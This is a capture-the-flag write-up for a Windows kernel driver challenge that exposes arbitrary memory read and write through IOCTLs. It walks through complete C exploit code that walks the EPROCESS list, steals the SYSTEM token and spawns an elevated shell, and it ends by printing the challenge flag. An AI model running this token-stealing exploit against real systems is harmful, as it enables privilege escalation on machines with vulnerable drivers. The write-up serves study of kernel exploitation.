Usually i am not the "writeup" kind of person. But i hate it when challenges have few solves and nobody does a writeup for it (looking at you convuluted-boot) so i had to do it. I will try to keep this writeup short and on topic without to much auxiliary information to focus on the general methodology and some details about windows drivers.
For this challenge we are presented with the source code of a Windows Driver, the ip of a Windows machine that has this driver loaded and a login to said machine with the credentials Dev:developer. As with all CTF challenges, the goal is getting the flag, but where could it be? I took a guess that there would be a flag.txt file on the Administrators desktop (which was correct). Thus a privilege escalation with access to this location is necessary.
So lets look at the some snippets of the source code in the "Driver.c" file. Before diving into the details, lets look at the DriverEntry function and get a feeling for the capabilities that the driver offers.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) { UNREFERENCED_PARAMETER(DriverObject); UNREFERENCED_PARAMETER(RegistryPath); NTSTATUS status = 0; DriverObject->DriverUnload = DriverUnload; DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = HandleIOCtl;; DriverObject->MajorFunction[IRP_MJ_CREATE] = MajorFunctions; DriverObject->MajorFunction[IRP_MJ_CLOSE] = MajorFunctions; DbgPrint("Driver loaded"); IoCreateDevice(DriverObject, 0, &DEVICE_NAME, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &DriverObject->DeviceObject); if (!NT_SUCCESS(status)) { DbgPrint("Could not create device %wZ", DEVICE_NAME); } status = IoCreateSymbolicLink(&DEVICE_SYMBOLIC_NAME, &DEVICE_NAME); if (!NT_SUCCESS(status)) { DbgPrint("Error creating symbolic link %wZ", DEVICE_SYMBOLIC_NAME); } return STATUS_SUCCESS; } |
Line 8-10 define the so called major functions of the driver. These define the interface for interacting with the driver from usermode, e.g. what happens when a handle to the driver is opened/read/closed or written to. We can see that only three functions are defined: IRP_MJ_DEVICE_CONTROL, IRP_MJ_CREATE and IRP_MJ_CLOSE. The latter two seem to have a generic handler called MajorFunctions which after a short inspection unconditionally returns STATUS_SUCCESS. The first one defines the IRP_MJ_DEVICE_CONTROL handler and seems way more interesting, lets take a look at it.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | NTSTATUS HandleIOCtl(PDEVICE_OBJECT DeviceObject, PIRP Irp) { UNREFERENCED_PARAMETER(DeviceObject); PIO_STACK_LOCATION stackLocation = NULL; BkdPl payload; stackLocation = IoGetCurrentIrpStackLocation(Irp); Irp->IoStatus.Status = STATUS_SUCCESS; switch (stackLocation->Parameters.DeviceIoControl.IoControlCode){ case IOCTL_BKD_WWW: RtlCopyMemory(&payload, Irp->AssociatedIrp.SystemBuffer, sizeof(payload)); *(unsigned long long*)payload.addr = payload.value; break; case IOCTL_BKD_RWW: RtlCopyMemory(&payload, Irp->AssociatedIrp.SystemBuffer, sizeof(payload)); payload.value = *(unsigned long long*)payload.addr; RtlCopyMemory(Irp->AssociatedIrp.SystemBuffer, &payload, sizeof(payload)); Irp->IoStatus.Information = sizeof(payload); break; default: Irp->IoStatus.Status = STATUS_INVALID_PARAMETER; } IoCompleteRequest(Irp, IO_NO_INCREMENT); return STATUS_SUCCESS; } |
The HandleIOCtl function seems to provide an interface to read (IOCTL_BKD_RWW) or write (IOCTL_BKD_WWW) arbitrary memory locations. To trigger the IRP_MJ_DEVICE_CONTROL-handler from usermode DeviceIoControl() is used. Through this function and the correct control codes (IOCTL_BKD_WWW / IOCTL_BKD_RWW) and we can trigger the write/read into our supplied buffers.
But it is generally neither smart nor feasible to develop an exploit against a remote target (without any means of debugging), so we need a local setup. Luckily i hade a VM running that hat kernel debugging and testsigning enabled (Connor McGarr has an awesome tutorial for that). I used WinDBG Preview as my debugger of choice (yes the one from the microsoft store). Note that testsigning is stricly necessary to be enabled for you to load a self signed driver, all following steps will fail if testsigning is not enabled.
The next step for a test-setup is to get the driver running on our VM. I did not check whether it was possible to get the bkd.sys file off of the windows machine (i guess it would have been possible) but rather compiled the driver myself with Visual Studio Community and the Windows Driver Kit (WDK). How to install the WDK is detailed thoroughly here. I had to fix some problems with the .inf file Visual Studio 2019 auto-generated because of the new concept of "primitive drivers" but using Visual Studio Community 2022 should have that fixed already (if it doesn't feel free to hit me up on twitter). Compiling it is fairly straightforward: just hit F7. Now locate the bkd.sys file and copy it to your VM. Then execute the following commands in an admin cmd on the VM, the driver is now running.
sc create bkd binPath= C:/path/to/bkd.sys type= kernel
sc start bkd
So with WinDBG attached and the driver running we are good to go. And if something goes wrong, we are able to troubleshoot it.
At this point it took me a fair share of googling to figure out how to proceed. Note that it (from my understanding) is very hard to get code execution in the windows kernel through a read/write primitive. The HalDispatchTable was a valuable target for some time, but windows has fixed it in more recent versions. I opted for a privilege escalation by stealing the access token of the system process, which runs as the nt-authority/system user.
In the windows kernel, a linked list of structures called EPROCESS exists. This list contains information about all processes on the system inlcuding but not limited to: the process name, process id and the access token associated with this process. Even better the head of this list is stored in ntoskrnl.exe by the name PsActiveProcessHead which has a fixed offset from the image base. Of course this offset differs for different windows builds. I will develop my exploit against the kernel of my VM (Windows 1909).
For the exploit i chose to opt for the C language, as i am fairly familiar with it. Other contenders would be python via ctypes or PowerShell. So the first order of business is to get a handle to the driver interface, this is done via the CreateFile()-function (https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilea) which might sound counter-intuitive but thats how Windows does things. Looking at the MSDN documentation we need a handful of arguments, but most of them are not really important in this case. First of all we need to provide the lpFileName parameter. We can look up the drivers filename in the "Header.h" file: UNICODE_STRING DEVICE_SYMBOLIC_NAME = RTL_CONSTANT_STRING(L"\??\BKD");.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | #include <Windows.h> #define SYMLINK_NAME L"\\??\\BKD" int main(int argc, char* argv[]) { HANDLE hDevice = CreateFile(SYMLINK_NAME, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, nullptr, OPEN_EXISTING, NULL, nullptr); if (hDevice == INVALID_HANDLE_VALUE) { printf("[!] Could not aquire handle to Device."); return -1; } printf("[+] Opened device handle: 0x%p\n\n", hDevice); } |
I provided the GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE and OPEN_EXISTING flags out of habit, i am fairly certain that you could drop some of them and still be able to aquire the handle, but this call worked and so i stuck with it.
So now we have a handle to the driver and are almost ready to call DeviceIoControl(). First we have to define the data structure we want to hand over to the driver though, luckily since we have access to the driver source code we can just look up the struct.
struct _PayloadStruct {
UINT64 _where;
UINT64 _what;
};
I slightly modified the original structure from the "Header.h" file, but rest assured its memory layout will be the same. Using this, we can finally call DeviceIoControl(), i will provide a generic read and generic write primitive below.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | void WriteValue(HANDLE hDevice, UINT64 addr, UINT64 val) { DWORD retVal; _PayloadStruct* pRStruct = new _PayloadStruct; pRStruct->_where = addr; pRStruct->_what = val; if (DeviceIoControl(hDevice, IOCTL_BKD_WWW, pRStruct, sizeof(_PayloadStruct), nullptr, 0, &retVal, NULL) == 0) { printf("[!] Error: %d\n", GetLastError()); ExitProcess(-1); } } UINT64 ReadValue(HANDLE hDevice, UINT64 addr) { DWORD retVal; _PayloadStruct* pRStruct = new _PayloadStruct; pRStruct->_where = addr; pRStruct->_what = 0x0; _PayloadStruct* pRetStruct = new _PayloadStruct; if (DeviceIoControl(hDevice, IOCTL_BKD_RWW, pRStruct, sizeof(_PayloadStruct), pRetStruct, sizeof(_PayloadStruct), &retVal, NULL) == 0) { printf("[!] Error: %d\n", GetLastError()); ExitProcess(-1); } return pRetStruct->_what; } |
Now we just have to find the right spots to read from and write to. Remember me talking about EPROCESS structures and PsActiveProcessHead, this is the time where it comes into play, lets start by finding PsActiveProcessHead! In order to achieve that i just loaded the "ntoskrnl.exe" of my target VM located in C:\Windows\System32 into IDA and let it load the debug information from Windows (but any disassembler will do). Wait until the autoanalysis is finished so that all variable and function names are applied correctly, then you can just jump directly to the symbol by pressing "G" and entering PsActiveProcessHead. It should look something like this.
So the pointer to the list of EPROCESS structures resides at offset 0x438B40 in ntoskrnl.exe! One part is missing though, we need a way to identify the base address where ntoskrnl.exe is loaded on the VM. This can be achieve thorugh NtQuerySystemInformation with the argument SystemModuleInformation (0x0B), for anyone interested, the necessary structures are excellently described on Geoff Chappells site. An example of how to use that can be seen in the following snippet.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | PVOID GetNtoskrnlBase() { char buffer[0x10]; ULONG requiredLength = 0; // the following call will likely never work. Just to get the required buffer size into requiredLength NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)0xB, buffer, 0x10, &requiredLength); _SYSTEM_MODULE_INFORMATION* pModBuffer = (_SYSTEM_MODULE_INFORMATION*)new BYTE[requiredLength]; NTSTATUS rStatus = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)0xB, pModBuffer, requiredLength, &requiredLength); if (rStatus != 0) { printf("[!] opt: 0x%08x\n[!] Error: 0x%x/tStatusCode: 0x%x\n", requiredLength, GetLastError(), rStatus); } for (int i = 0; i < pModBuffer->Count; i++) { if (strpbrk((char*)pModBuffer->Modules[i].Name, "ntoskrnl.exe") != nullptr) { printf("[+] ntoskrnl imageBase: 0x%p\n", (PUINT)pModBuffer->Modules[i].ImageBaseAddress); return (PVOID)pModBuffer->Modules[i].ImageBaseAddress; } } return 0; } |
So now we have the exact address we want to read at GetNtoskrnlBase() + 0x438B40. So a simple ReadValue(hDevice, GetNtoskrnlBase() + 0x438B40) yields the head of the linked list. So all there is left to do is traverse the list, search for a suitable token and overwrite our own with the newly aquired one. Since the process of traversing the EPROCESS list was counter-intuitive to me, i will detail how it works in finest ASCII.
EPROCESS EPROCESS
___________________________ ___________________________
| | | |
| +0x0 Pcb | | +0x0 Pcb |
|___________________________| |___________________________|
| | | |
| [...] | | [...] |
|___________________________| |___________________________|
| | ---┐ | |
| +0x2e8 UniqueProcessId | | | +0x2e8 UniqueProcessId |
_____________________ |___________________________| | - 0x08 |___________________________|
| | | | ---┘ | |
| PsActiveProcessHead | ------------> | +0x2f0 ActiveProcessLinks | ----------------------> | +0x2f0 ActiveProcessLinks | --------[...]
|_____________________| |___________________________| ---┐ |___________________________|
| | | | |
| [...] | | + 0x70 | [...] |
|___________________________| | |___________________________|
| | | | |
| +0x360 Token | ---┘ | +0x360 Token |
|___________________________| |___________________________|
So basically the linked list consists of pointer that are pointing to the ActiveProcessLinks structure rather than the beginning of the EPROCESS. I conveniently also noted the offsets of the two values we might need to read or write during our enumeration, the UniqueProcessId and the Token. Note that these offsets WILL vary between windows versions, but you can easily calculate them yourself by using WinDBG (see picture below).
Now we just have to implement the logic for walking the list with everything we gathered so far.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 | int main(int argc, char* argv[]) { HANDLE hDevice = CreateFile(SYMLINK_NAME, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, nullptr, OPEN_EXISTING, NULL, nullptr); if (hDevice == INVALID_HANDLE_VALUE) { printf("[!] Could not aquire handle to Device."); return -1; } printf("[+] Opened device handle: 0x%p\n", hDevice); DWORD retVal; UINT64 proc_id = GetCurrentProcessId(); printf("[+] CurrentProcessId: %x\n\n", GetCurrentProcessId()); UINT64 kernel_base = (UINT64)GetNtoskrnlBase(); UINT64 list_entry = ReadValue(hDevice, kernel_base + 0x438B40); printf("[+] Starting iteration over all processes\n"); UINT64 sys_token = 0; while ( true ) { UINT64 other_proc_id = ReadValue(hDevice, list_entry - 0x8); printf("\tEntry: %llx, with ProcessID %llx\n", list_entry, other_proc_id); if (other_proc_id == 0x4) { // Copy token from system process to sys_token sys_token = ReadValue(hDevice, list_entry + 0x70); } if (other_proc_id == proc_id) { // If the process in the list has the same PrcoessID as our current process // copy the previously saved token over our current one WriteValue(hDevice, list_entry + 0x70, sys_token); break; } list_entry = ReadValue(hDevice, list_entry); } // Launch cmd with nt-authority/system token system("CMD"); return 0; } |
And thats it, we get an elevated shell!
The rest was just navigating to C:UsersAdministratorDesktop and reading the flag.txt file: HTB{Wr1t3Wh4tWh3r3_Th3_k3rn31_w0nt_c4r3!}